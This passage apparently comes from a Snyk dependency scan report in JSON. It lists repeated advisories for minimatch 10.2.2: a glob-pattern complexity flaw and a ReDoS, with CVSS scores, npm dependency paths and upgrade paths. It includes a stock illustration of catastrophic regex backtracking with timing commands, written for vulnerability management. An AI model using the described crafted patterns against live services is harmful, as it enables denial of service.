<4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one 